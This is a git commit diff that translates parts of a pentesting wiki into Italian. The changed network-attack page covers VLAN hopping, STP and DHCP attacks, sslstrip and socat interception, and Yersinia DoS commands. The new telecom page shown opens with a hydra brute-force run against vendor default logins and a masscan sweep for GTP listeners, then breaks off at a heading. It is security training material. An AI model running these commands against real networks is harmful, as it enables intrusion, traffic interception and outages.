Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-30 05:02:44 +00:00
parent e240b11846
commit 934e6661c8
4 changed files with 247 additions and 43 deletions

View File

@ -21,6 +21,7 @@
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)

View File

@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### TCP Port Discovery
È molto comune scoprire che tutti i tipi di pacchetti ICMP vengono filtrati. Quindi, tutto ciò che puoi fare per controllare se un host è attivo è **cercare porte aperte**. Ogni host ha **65535 porte**, quindi, se hai un ambito "grande", **non puoi** testare se **ogni porta** di ogni host è aperta o meno, ci vorrebbe troppo tempo.\
È molto comune scoprire che tutti i tipi di pacchetti ICMP vengono filtrati. Quindi, tutto ciò che puoi fare per verificare se un host è attivo è **cercare porte aperte**. Ogni host ha **65535 porte**, quindi, se hai un ambito "grande", **non puoi** testare se **ogni porta** di ogni host è aperta o meno, ci vorrebbe troppo tempo.\
Quindi, ciò di cui hai bisogno è uno **scanner di porte veloce** ([masscan](https://github.com/robertdavidgraham/masscan)) e un elenco delle **porte più utilizzate:**
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
@ -43,7 +43,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
La riga nmap proposta prima testerà i **top 1000 UDP ports** in ogni host all'interno dell'**intervallo /24**, ma anche solo questo richiederà **>20min**. Se hai bisogno di **risultati più rapidi**, puoi usare [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Questo invierà questi **UDP probes** al loro **port previsto** (per un intervallo /24 questo richiederà solo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
La riga nmap proposta prima testerà i **top 1000 UDP ports** in ogni host all'interno dell'**/24** range, ma anche solo questo richiederà **>20min**. Se hai bisogno di **risultati più rapidi**, puoi usare [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Questo invierà questi **UDP probes** al loro **expected port** (per un range /24 ci vorrà solo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP Port Discovery
```bash
@ -75,7 +75,7 @@ set net.show.meta true #more info
```
### Attivo
Nota che le tecniche commentate in [_**Scoprire host dall'esterno**_](#discovering-hosts-from-the-outside) (_Scoperta porte TCP/HTTP/UDP/SCTP_) possono essere **applicate qui**.\
Nota che le tecniche commentate in [_**Scoprire host dall'esterno**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) possono essere **applicate anche qui**.\
Ma, poiché sei nella **stessa rete** degli altri host, puoi fare **più cose**:
```bash
#ARP discovery
@ -108,22 +108,22 @@ Ma, poiché sei nella **stessa rete** degli altri host, puoi fare **più cose**:
### **Wake On Lan**
Wake On Lan è usato per **accendere** computer tramite un **messaggio di rete**. Il pacchetto magico usato per accendere il computer è solo un pacchetto in cui è fornito un **MAC Dst** e poi viene **ripetuto 16 volte** all'interno dello stesso pacchetto.\
Poi questo tipo di pacchetti viene solitamente inviato in un **ethernet 0x0842** o in un **pacchetto UDP sulla porta 9**.\
Poi questo tipo di pacchetti viene solitamente inviato in un **ethernet 0x0842** o in un **pacchetto UDP alla porta 9**.\
Se **nessun \[MAC]** è fornito, il pacchetto viene inviato a **broadcast ethernet** (e il MAC di broadcast sarà quello che viene ripetuto).
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
```
## Scanning Hosts
## Scansione degli Host
Una volta che hai scoperto tutti gli IP (esterni o interni) che desideri scansionare in profondità, possono essere eseguite diverse azioni.
Una volta che hai scoperto tutti gli IP (esterni o interni) che desideri esaminare in profondità, possono essere eseguite diverse azioni.
### TCP
- **Porta** aperta: _SYN --> SYN/ACK --> RST_
- **Porta** chiusa: _SYN --> RST/ACK_
- **Porta** filtrata: _SYN --> \[NO RESPONSE]_
- **Porta** filtrata: _SYN --> \[NESSUNA RISPOSTA]_
- **Porta** filtrata: _SYN --> messaggio ICMP_
```bash
# Nmap fast scan for the most 1000tcp ports used
@ -182,7 +182,7 @@ nmap-summary-esp.md
### Rivelare indirizzi IP interni
**Router, firewall e dispositivi di rete mal configurati** a volte rispondono a probe di rete utilizzando **indirizzi sorgente non pubblici**. **tcpdump** può essere utilizzato per identificare i pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'**interfaccia eth2**, che è accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un firewall, tali pacchetti potrebbero essere filtrati.
**Router, firewall e dispositivi di rete mal configurati** a volte rispondono a probe di rete utilizzando **indirizzi sorgente non pubblici**. **tcpdump** può essere utilizzato per identificare i pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'**interfaccia eth2**, che è accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un Firewall, tali pacchetti potrebbero essere filtrati.
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -220,9 +220,9 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
Ovviamente.
### Catturare credenziali
### Cattura delle credenziali
Puoi usare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live.
Puoi utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live.
## Attacchi LAN
@ -260,7 +260,7 @@ Il **Dynamic Trunking Protocol (DTP)** è progettato come un protocollo di livel
Per impostazione predefinita, le porte dello switch sono impostate per operare in modalità Dynamic Auto, il che significa che sono pronte a iniziare il trunking se sollecitate da uno switch vicino. Un problema di sicurezza si presenta quando un pentester o un attaccante si connette allo switch e invia un frame DTP Desirable, costringendo la porta a entrare in modalità trunk. Questa azione consente all'attaccante di enumerare le VLAN attraverso l'analisi dei frame STP e di eludere la segmentazione delle VLAN configurando interfacce virtuali.
La presenza di DTP in molti switch per impostazione predefinita può essere sfruttata dagli avversari per imitare il comportamento di uno switch, guadagnando così accesso al traffico su tutte le VLAN. Lo script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) è utilizzato per monitorare un'interfaccia, rivelando se uno switch è in modalità Default, Trunk, Dynamic, Auto o Access—quest'ultima essendo l'unica configurazione immune agli attacchi di VLAN hopping. Questo strumento valuta lo stato di vulnerabilità dello switch.
La presenza di DTP in molti switch per impostazione predefinita può essere sfruttata dagli avversari per imitare il comportamento di uno switch, ottenendo così accesso al traffico su tutte le VLAN. Lo script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) è utilizzato per monitorare un'interfaccia, rivelando se uno switch è in modalità Default, Trunk, Dynamic, Auto o Access—quest'ultima essendo l'unica configurazione immune agli attacchi di VLAN hopping. Questo strumento valuta lo stato di vulnerabilità dello switch.
Se viene identificata una vulnerabilità di rete, lo strumento _**Yersinia**_ può essere impiegato per "abilitare il trunking" tramite il protocollo DTP, consentendo l'osservazione dei pacchetti da tutte le VLAN.
```bash
@ -285,7 +285,7 @@ Analizzando i frame STP, **apprendiamo dell'esistenza della VLAN 30 e della VLAN
<figure><img src="../../images/image (124).png" alt=""><figcaption></figcaption></figure>
#### Attaccare VLAN specifiche
#### Attacco a VLAN specifiche
Una volta conosciuti gli ID VLAN e i valori IP, puoi **configurare un'interfaccia virtuale per attaccare una VLAN specifica**.\
Se il DHCP non è disponibile, utilizza _ifconfig_ per impostare un indirizzo IP statico.
@ -327,7 +327,7 @@ L'attacco discusso di **Dynamic Trunking e creazione di interfacce virtuali per
#### Double Tagging
Se un attaccante conosce il valore del **MAC, IP e VLAN ID dell'host vittima**, potrebbe provare a **doppiare il tagging di un frame** con il suo VLAN designato e il VLAN della vittima e inviare un pacchetto. Poiché la **vittima non sarà in grado di connettersi di nuovo** con l'attaccante, quindi la **migliore opzione per l'attaccante è comunicare via UDP** a protocolli che possono eseguire alcune azioni interessanti (come SNMP).
Se un attaccante conosce il valore del **MAC, IP e VLAN ID dell'host vittima**, potrebbe provare a **doppiare un frame** con il suo VLAN designato e il VLAN della vittima e inviare un pacchetto. Poiché la **vittima non sarà in grado di connettersi di nuovo** con l'attaccante, quindi la **migliore opzione per l'attaccante è comunicare tramite UDP** a protocolli che possono eseguire alcune azioni interessanti (come SNMP).
Un'altra opzione per l'attaccante è lanciare una **scansione delle porte TCP spoofando un IP controllato dall'attaccante e accessibile dalla vittima** (probabilmente tramite internet). Poi, l'attaccante potrebbe sniffare nel secondo host di sua proprietà se riceve alcuni pacchetti dalla vittima.
@ -342,7 +342,7 @@ sendp(packet)
```
#### Bypass della Segmentazione VLAN Laterale <a href="#d679" id="d679"></a>
Se hai **accesso a uno switch a cui sei direttamente connesso**, hai la possibilità di **bypassare la segmentazione VLAN** all'interno della rete. Basta **cambiare la porta in modalità trunk** (nota anche come trunk), creare interfacce virtuali con gli ID delle VLAN target e configurare un indirizzo IP. Puoi provare a richiedere l'indirizzo dinamicamente (DHCP) oppure puoi configurarlo staticamente. Dipende dal caso.
Se hai **accesso a uno switch a cui sei direttamente connesso**, hai la possibilità di **bypassare la segmentazione VLAN** all'interno della rete. Basta **cambiare la porta in modalità trunk** (nota anche come trunk), creare interfacce virtuali con gli ID delle VLAN target e configurare un indirizzo IP. Puoi provare a richiedere l'indirizzo in modo dinamico (DHCP) oppure puoi configurarlo staticamente. Dipende dal caso.
{{#ref}}
lateral-vlan-segmentation-bypass.md
@ -371,17 +371,17 @@ Il VTP (VLAN Trunking Protocol) centralizza la gestione delle VLAN. Utilizza num
#### Tipi di Annunci VTP
- **Annuncio di Riepilogo:** Trasmetto dal server VTP ogni 300 secondi, portando informazioni essenziali sul dominio.
- **Annuncio di Riepilogo:** Trasmetto dal server VTP ogni 300 secondi, contenente informazioni essenziali sul dominio.
- **Annuncio di Sottoinsieme:** Inviato dopo le modifiche alla configurazione delle VLAN.
- **Richiesta di Annuncio:** Emessa da un client VTP per richiedere un Annuncio di Riepilogo, tipicamente in risposta alla rilevazione di un numero di revisione di configurazione più elevato.
Le vulnerabilità VTP sono sfruttabili esclusivamente tramite porte trunk poiché gli annunci VTP circolano solo attraverso di esse. Gli scenari post-attacco DTP potrebbero spostarsi verso VTP. Strumenti come Yersinia possono facilitare attacchi VTP, mirando a cancellare il database VLAN, interrompendo efficacemente la rete.
Nota: Questa discussione riguarda la versione 1 di VTP (VTPv1).
Nota: Questa discussione si riferisce alla versione 1 di VTP (VTPv1).
````bash
%% yersinia -G # Launch Yersinia in graphical mode ```
````
In modalità grafica di Yersinia, scegliere l'opzione per eliminare tutte le VLAN VTP per purgare il database VLAN.
In modalità grafica di Yersinia, scegliere l'opzione per eliminare tutti i VTP vlans per purgare il database VLAN.
### Attacchi STP
@ -397,7 +397,7 @@ yersinia stp -attack 3
```
#### **Attacco STP TCP**
Quando viene inviato un TCP, la tabella CAM degli switch verrà cancellata in 15s. Poi, se stai inviando continuamente questo tipo di pacchetti, la tabella CAM verrà riavviata continuamente (o ogni 15 secondi) e quando viene riavviata, lo switch si comporta come un hub.
Quando viene inviato un TCP, la tabella CAM degli switch verrà cancellata in 15 secondi. Poi, se stai inviando continuamente questo tipo di pacchetti, la tabella CAM verrà riavviata continuamente (o ogni 15 secondi) e quando viene riavviata, lo switch si comporta come un hub.
```bash
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@ -405,7 +405,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
#### **Attacco STP Root**
L'attaccante simula il comportamento di uno switch per diventare il root STP della rete. Poi, più dati passeranno attraverso di lui. Questo è interessante quando sei connesso a due switch diversi.\
Questo viene fatto inviando pacchetti BPDUs CONF che affermano che il valore di **priorità** è inferiore alla priorità attuale dello switch root attuale.
Questo viene fatto inviando pacchetti BPDUs CONF che affermano che il valore di **priorità** è inferiore alla priorità attuale dello switch root effettivo.
```bash
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
@ -425,7 +425,7 @@ CDP è configurato per trasmettere informazioni attraverso tutte le porte, il ch
#### Induzione di Flooding della Tabella CDP <a href="#id-0d6a" id="id-0d6a"></a>
Un approccio più aggressivo prevede il lancio di un attacco Denial of Service (DoS) sovraccaricando la memoria dello switch, fingendo di essere dispositivi CISCO legittimi. Di seguito è riportata la sequenza di comandi per avviare un tale attacco utilizzando Yersinia, uno strumento di rete progettato per i test:
Un approccio più aggressivo prevede il lancio di un attacco Denial of Service (DoS) sovraccaricando la memoria dello switch, fingendo di essere dispositivi CISCO legittimi. Di seguito è riportata la sequenza di comandi per avviare un attacco di questo tipo utilizzando Yersinia, uno strumento di rete progettato per i test:
```bash
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
@ -499,7 +499,7 @@ yersinia dhcp -attack 3 #More parameters are needed
```
Un modo più automatico per farlo è utilizzare lo strumento [DHCPing](https://github.com/kamorin/DHCPig)
Puoi utilizzare gli attacchi DoS menzionati per costringere i client a ottenere nuovi lease all'interno dell'ambiente e esaurire i server legittimi in modo che diventino non reattivi. Quindi, quando i legittimi tentano di riconnettersi, **puoi servire valori malevoli menzionati nel prossimo attacco**.
Puoi utilizzare gli attacchi DoS menzionati per costringere i client a ottenere nuovi lease all'interno dell'ambiente e esaurire i server legittimi in modo che diventino non responsivi. Quindi, quando i legittimi tentano di riconnettersi, **puoi servire valori malevoli menzionati nel prossimo attacco**.
#### Imposta valori malevoli
@ -530,7 +530,7 @@ Ecco alcune delle tattiche di attacco che possono essere utilizzate contro le im
- Attacco attivo di brute-force delle password tramite EAP
- Attacco al server RADIUS con contenuti EAP malformati _\*\*_(exploits)
- Cattura dei messaggi EAP e cracking delle password offline (EAP-MD5 e PEAP)
- Forzare l'autenticazione EAP-MD5 per bypassare la convalida del certificato TLS
- Forzare l'autenticazione EAP-MD5 per bypassare la validazione del certificato TLS
- Iniettare traffico di rete malevolo durante l'autenticazione utilizzando un hub o simile
Se l'attaccante si trova tra la vittima e il server di autenticazione, potrebbe cercare di degradare (se necessario) il protocollo di autenticazione a EAP-MD5 e catturare il tentativo di autenticazione. Poi, potrebbe eseguire un attacco di brute-force utilizzando:
@ -549,12 +549,12 @@ glbp-and-hsrp-attacks.md
### RIP
Esistono tre versioni del Routing Information Protocol (RIP): RIP, RIPv2 e RIPng. I datagrammi vengono inviati ai peer tramite la porta 520 utilizzando UDP da RIP e RIPv2, mentre i datagrammi vengono trasmessi alla porta UDP 521 tramite multicast IPv6 da RIPng. Il supporto per l'autenticazione MD5 è stato introdotto da RIPv2. D'altra parte, l'autenticazione nativa non è incorporata in RIPng; invece, ci si affida agli header IPsec AH e ESP opzionali all'interno di IPv6.
Esistono tre versioni del Routing Information Protocol (RIP): RIP, RIPv2 e RIPng. I datagrammi vengono inviati ai peer tramite la porta 520 utilizzando UDP da RIP e RIPv2, mentre i datagrammi vengono trasmessi in broadcast sulla porta UDP 521 tramite multicast IPv6 da RIPng. Il supporto per l'autenticazione MD5 è stato introdotto da RIPv2. D'altra parte, l'autenticazione nativa non è incorporata da RIPng; invece, ci si affida a intestazioni IPsec AH e ESP opzionali all'interno di IPv6.
- **RIP e RIPv2:** La comunicazione avviene tramite datagrammi UDP sulla porta 520.
- **RIPng:** Utilizza la porta UDP 521 per trasmettere datagrammi tramite multicast IPv6.
Si noti che RIPv2 supporta l'autenticazione MD5 mentre RIPng non include l'autenticazione nativa, affidandosi agli header IPsec AH e ESP in IPv6.
Si noti che RIPv2 supporta l'autenticazione MD5 mentre RIPng non include l'autenticazione nativa, affidandosi alle intestazioni IPsec AH e ESP in IPv6.
### Attacchi EIGRP
@ -572,13 +572,13 @@ eigrp-attacks.md
### OSPF
Nel protocollo Open Shortest Path First (OSPF) **l'autenticazione MD5 è comunemente impiegata per garantire comunicazioni sicure tra i router**. Tuttavia, questa misura di sicurezza può essere compromessa utilizzando strumenti come Loki e John the Ripper. Questi strumenti sono in grado di catturare e decifrare gli hash MD5, esponendo la chiave di autenticazione. Una volta ottenuta questa chiave, può essere utilizzata per introdurre nuove informazioni di routing. Per configurare i parametri della rotta e stabilire la chiave compromessa, vengono utilizzate rispettivamente le schede _Injection_ e _Connection_.
Nel protocollo Open Shortest Path First (OSPF) **l'autenticazione MD5 è comunemente impiegata per garantire comunicazioni sicure tra router**. Tuttavia, questa misura di sicurezza può essere compromessa utilizzando strumenti come Loki e John the Ripper. Questi strumenti sono in grado di catturare e decifrare gli hash MD5, esponendo la chiave di autenticazione. Una volta ottenuta questa chiave, può essere utilizzata per introdurre nuove informazioni di routing. Per configurare i parametri della rotta e stabilire la chiave compromessa, vengono utilizzate rispettivamente le schede _Injection_ e _Connection_.
- **Cattura e decifratura degli hash MD5:** Strumenti come Loki e John the Ripper sono utilizzati a questo scopo.
- **Configurazione dei parametri della rotta:** Questo avviene tramite la scheda _Injection_.
- **Impostazione della chiave compromessa:** La chiave è configurata sotto la scheda _Connection_.
### Altri Strumenti e Risorse Generiche
### Altri Strumenti e Fonti Generiche
- [**Above**](https://github.com/c4s73r/Above): Strumento per scansionare il traffico di rete e trovare vulnerabilità
- Puoi trovare alcune **ulteriori informazioni sugli attacchi di rete** [**qui**](https://github.com/Sab0tag3d/MITM-cheatsheet).
@ -635,7 +635,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
```
### [Spoofing LLMNR, NBT-NS, e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Per la risoluzione degli host locali quando le ricerche DNS non hanno successo, i sistemi Microsoft si affidano a **Link-Local Multicast Name Resolution (LLMNR)** e al **NetBIOS Name Service (NBT-NS)**. Allo stesso modo, **Apple Bonjour** e le implementazioni **zero-configuration** di Linux utilizzano **Multicast DNS (mDNS)** per scoprire i sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, inviando messaggi in broadcast, possono essere sfruttati da attaccanti che mirano a reindirizzare gli utenti a servizi malevoli.
Per la risoluzione degli host locali quando le ricerche DNS non hanno successo, i sistemi Microsoft si affidano a **Link-Local Multicast Name Resolution (LLMNR)** e al **NetBIOS Name Service (NBT-NS)**. Allo stesso modo, **Apple Bonjour** e le implementazioni **zero-configuration** di Linux utilizzano **Multicast DNS (mDNS)** per scoprire i sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, trasmettendo messaggi, possono essere sfruttati da attaccanti che mirano a reindirizzare gli utenti a servizi malevoli.
Puoi impersonare servizi che vengono cercati dagli host utilizzando Responder per inviare risposte false.\
Leggi qui ulteriori informazioni su [come impersonare servizi con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
@ -648,11 +648,11 @@ I browser utilizzano comunemente il **protocollo Web Proxy Auto-Discovery (WPAD)
- Tramite **DNS**, che comporta la ricerca di un nome host etichettato _wpad_ all'interno del dominio locale.
- Via **Microsoft LLMNR e NBT-NS**, che sono meccanismi di fallback utilizzati nei casi in cui le ricerche DNS non hanno successo.
Lo strumento Responder sfrutta questo protocollo agendo come un **server WPAD malevolo**. Utilizza DHCP, DNS, LLMNR e NBT-NS per ingannare i client facendoli connettere a esso. Per approfondire come i servizi possono essere impersonati utilizzando Responder [controlla questo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
Lo strumento Responder sfrutta questo protocollo agendo come un **server WPAD malevolo**. Utilizza DHCP, DNS, LLMNR e NBT-NS per ingannare i client e farli connettere a esso. Per approfondire come i servizi possono essere impersonati utilizzando Responder [controlla questo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Spoofing SSDP e dispositivi UPnP](spoofing-ssdp-and-upnp-devices.md)
Puoi offrire diversi servizi nella rete per cercare di **ingannare un utente** a inserire alcune **credenziali in chiaro**. **Ulteriori informazioni su questo attacco in** [**Spoofing SSDP e Dispositivi UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
Puoi offrire diversi servizi nella rete per cercare di **ingannare un utente** a inserire alcune **credenziali in chiaro**. **Ulteriori informazioni su questo attacco in** [**Spoofing SSDP e dispositivi UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Neighbor Spoofing
@ -684,7 +684,7 @@ mitm6
### sslStrip
Fondamentalmente, ciò che fa questo attacco è che, nel caso in cui l'**utente** cerchi di **accedere** a una pagina **HTTP** che sta **reindirizzando** alla versione **HTTPS**. **sslStrip** manterrà una **connessione HTTP con** il **client e** una **connessione HTTPS con** il **server**, in modo da poter **sniffare** la connessione in **testo semplice**.
Fondamentalmente, ciò che fa questo attacco è che, nel caso in cui l'**utente** provi ad **accedere** a una pagina **HTTP** che sta **reindirizzando** alla versione **HTTPS**. **sslStrip** manterrà una **connessione HTTP con** il **client** e una **connessione HTTPS con** il **server**, in modo da poter **sniffare** la connessione in **testo semplice**.
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -693,18 +693,18 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
More info [qui](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### sslStrip+ e dns2proxy per bypassare HSTS
La **differenza** tra **sslStrip+ e dns2proxy** rispetto a **sslStrip** è che essi **reindirizzeranno** per esempio _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota l'**extra** "**w**") e imposteranno l'**indirizzo di questo dominio come l'IP dell'attaccante**. In questo modo, il **client** si **connetterà** a _**wwww.facebook.com**_ **(l'attaccante)** ma dietro le quinte **sslstrip+** **mantenere** la **vera connessione** tramite https con **www.facebook.com**.
La **differenza** tra **sslStrip+ e dns2proxy** rispetto a **sslStrip** è che essi **reindirizzeranno** ad esempio _**www.facebook.com**_ **a** _**wwww.facebook.com**_ (nota l'**extra** "**w**") e imposteranno l'**indirizzo di questo dominio come l'IP dell'attaccante**. In questo modo, il **client** si **connetterà** a _**wwww.facebook.com**_ **(l'attaccante)** ma dietro le quinte **sslstrip+** **mantenere** la **vera connessione** via https con **www.facebook.com**.
L'**obiettivo** di questa tecnica è **evitare HSTS** perché _**wwww**.facebook.com_ **non sarà** salvato nella **cache** del browser, quindi il browser sarà ingannato a eseguire **l'autenticazione di facebook in HTTP**.\
Nota che per eseguire questo attacco la vittima deve inizialmente cercare di accedere a [http://www.faceook.com](http://www.faceook.com) e non a https. Questo può essere fatto modificando i link all'interno di una pagina http.
Nota che per eseguire questo attacco la vittima deve cercare di accedere inizialmente a [http://www.faceook.com](http://www.faceook.com) e non a https. Questo può essere fatto modificando i link all'interno di una pagina http.
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
More info [qui](https://www.bettercap.org/legacy/#hsts-bypass), [qui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [qui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip o sslStrip+ non funzionano più. Questo perché ci sono regole HSTS pre-salvate nei browser, quindi anche se è la prima volta che un utente accede a un dominio "importante", accederà tramite HTTPS. Inoltre, nota che le regole pre-salvate e altre regole generate possono utilizzare il flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **quindi l'esempio di** _**wwww.facebook.com**_ **di prima non funzionerà più poiché** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
**sslStrip o sslStrip+ non funzionano più. Questo perché ci sono regole HSTS pre-salvate nei browser, quindi anche se è la prima volta che un utente accede a un dominio "importante", vi accederà tramite HTTPS. Inoltre, nota che le regole pre-salvate e altre regole generate possono utilizzare il flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **quindi l'esempio di** _**wwww.facebook.com**_ **di prima non funzionerà più poiché** _**facebook.com**_ **usa HSTS con `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory
@ -734,7 +734,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
A volte, se il cliente verifica che il CA è valido, potresti **servire un certificato di un altro hostname firmato da un CA**.\
Un altro test interessante è servire un **certificato dell'hostname richiesto ma auto-firmato**.
Un altro test interessante è **servire un certificato dell'hostname richiesto ma auto-firmato**.
Altre cose da testare sono provare a firmare il certificato con un certificato valido che non è un CA valido. Oppure utilizzare la chiave pubblica valida, forzare l'uso di un algoritmo come Diffie-Hellman (uno che non richiede di decrittare nulla con la vera chiave privata) e quando il cliente richiede una prova della vera chiave privata (come un hash) inviare una prova falsa e aspettarsi che il cliente non controlli questo.
@ -794,11 +794,18 @@ Bettercap trasmette pacchetti SSDP cercando tutti i tipi di servizi (porta UDP 1
Bettercap trasmette pacchetti WSD cercando servizi (porta UDP 3702).
### Sfruttamento Telecom / Mobile-Core (GTP)
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## Riferimenti
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- **Network Security Assessment: Know Your Network (3rd edition)**
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- **Valutazione della Sicurezza della Rete: Conosci la Tua Rete (3ª edizione)**
- **Hacking IoT Pratico: La Guida Definitiva per Attaccare l'Internet delle Cose. Di Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

View File

@ -0,0 +1,140 @@
# Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> I protocolli del core mobile (GPRS Tunnelling Protocol GTP) spesso attraversano backbone di roaming GRX/IPX semi-fidati. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, **qualsiasi punto d'accesso all'interno di un perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core**. Le seguenti note raccolgono trucchi offensivi osservati sul campo contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
## 1. Recon & Initial Access
### 1.1 Default OSS / NE Accounts
Un insieme sorprendentemente ampio di elementi di rete dei fornitori viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una lista di parole dedicata aumenta drasticamente il successo del brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Se il dispositivo espone solo un VRF di gestione, pivotare prima attraverso un jump host (vedere la sezione «SGSN Emu Tunnel» qui sotto).
### 1.2 Scoperta degli Host all'interno di GRX/IPX
La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combinare `masscan` con le sonde UDP `gtpv1` integrate per mappare rapidamente i listener GTP-C:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Enumerazione degli Abbonati `cordscan`
